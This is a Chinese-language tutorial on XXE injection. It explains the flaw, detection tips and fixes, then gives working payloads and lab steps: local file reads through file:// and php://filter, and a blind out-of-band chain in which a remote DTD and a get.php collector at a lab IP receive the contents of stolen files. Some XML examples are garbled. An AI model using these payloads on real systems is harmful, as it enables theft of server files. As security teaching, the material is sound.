XXE(外部实体注入)
1.1、简介
1.1.1、原理
应用程序在解析XML时没有过滤外部实体的加载,导致加载了恶意的外部文件,造成执行命令、读取文件、扫描内网、攻击内网等危害。
运维人员使用了低版本的php,libxml低于2.9.1或者设置了libxml_disable_entity_loader(False)就可以加载外部实体。
1.1.2、XXE漏洞
1、白盒测试
查看代码里面是否使用了loadxml()函数。
2、黑盒测试
①抓包看响应体是否存在xml,accept头是否接受xml。
②看到url文件名是否.ashx后缀扩展名。
③抓包修改数据类型,把JSON改成XML来传输数据。
1.1.3、漏洞修复
①升级php版本。
②禁用外部实体
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory
dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
③过滤<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC等。
1.1.4、payload
1、读取文件
<!ENTITY xxe SYSTEM "file:///c:/1.txt">中的XXE要跟下文$xxe;对应。<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY xxe SYSTEM "file:///c:/1.txt">
]>
<user><username>&xxe;</username><password>Mikasa</password></user>
2、外部实体
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://192.168.41.7:80/test.dtd">
%file;
]>
<user><username>&send;</username><password>Mikasa</password></user>
//test.dtd
<!ENTITY send SYSTEM "file:///c:/1.txt">
3、无回显读文件
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///c:/1.txt">
<!ENTITY % remote SYSTEM "http://192.168.41.7/test.dtd">
%remote;
%all;
]>
<root>&send;</root>
//test.dtd
<!ENTITY % all"<!ENTITY send SYSTEM ''http://192.168.41.7:80/get.php?file=%file;'>">
//get.php
<?php
$data=$_GET['file'];
$myfile = fopen("file.txt", "w+");
fwrite($myfile, $data);
fclose($myfile);
?>
1.2、XML
1.2.1、XML功能
- 数据传输
- PHP —> 快递数据 —> JAVA
- 编写配置文件
- config.conf —>PHP语言、JAVA语言、Python语言。
- 存储数据,充当小型数据库。
- Data.xml
1.2.2、XML格式
- XML指的是,可扩展性标记语言。用于传输和存储数据,而不是展示数据。
- XML的标签必须自定义,需要有一个根节点,文件后缀名为xml。
<?xml version="1.0" encoding="utf-8" ?> #xml头声明。
<root>
<user>wang</user>
<age>18</age>
</root>
- 特殊字符需要实体编码。
< <
> >
&apos '
$quot "
1.2.3、XML属性
- 属性可以添加在标签中。例如age属性。
<?xml version="1.0" encoding="utf-8" ?> #xml头声明。
<root>
<man>
<name>wang</name>
<age>18</age>
</man>
<man>
<name age="38">liu</name>
</man>
</root>
- CDATA区域内部的内容(特殊符号),不解析。
<![CDATA[内容]]>
1.2.4、解析XML
- PHP5以后提供一个非常强大的库,simplexml用来解析XML文档。
<?php
$x = file_get_contents('xx.xml') //读取xml文件。
var_dump($x) //打印xml文档。
?>
1.3、DTD
1.3.1、DTD语法
- 文档类型定义(DTD),用来约束一个XML文档的数据规范。
- 对元素进行定义的基础语法:<!ELEMENT 元素名 类型>
1.3.2、内部定义
将文档类型直接放入XML文档中,称为内部定义。内部定义格式:<!DOMCTYPE 根元素 [元素声明]>
<!DOCTYPE note[ #定义跟根节点。
<!ELEMENT note (to,from,heading,body)> #根节点有四个元素。
<!ELEMENT to (#PCDATA)> #元素类型为PCDATA类型。
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
1.3.3、外部引用
1、文档在本地
引用本地DTD文档在本地的格式如下:
例如:
2、文档在网络上
引用网络上的DTD文档的格式:
例如:
1.4、漏洞利用
实验1、读取文件
①创建xxe.php文件,放入php解析文件下。
<?php
$xml=file_get_contents("php://input");
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;
echo "</pre>" ;
?>
②打开BP进行抓包,修改传输方式为POST,将以下payload放入请求体中。
//payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///c:/1.txt" >]>
<root>
<name>&xxe;</name>
</root>
实验2、读取php文件
①读取php文件,发现读取内容为空。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///xxe.php" >]>
<root>
<name>&xxe;</name>
</root>
②没有读取到文件内容,原因是 php 文件需要进行加密才能够被读取
③使用base64 加密读取文件。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php" >]>
<root>
<name>&xxe;</name>
</root>
④base64解密。
实验3、无回显读取
①建立test.dtd外部实体文件,在远程服务器的解析目录下。
//test.dtd
<!ENTITY % all"<!ENTITY send SYSTEM ''http://192.168.41.7:80/get.php?file=%file;'>">
②建立get.php文件。
//get.php
<?php
$data=$_GET['file'];
$myfile = fopen("file.txt", "w+");
fwrite($myfile, $data);
fclose($myfile);
?>
③ BP抓包修改,POST请求体。
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///c:/1.txt">
<!ENTITY % remote SYSTEM "http://192.168.41.7/test.dtd">
%remote;
%all;
]>
<root>&send;</root>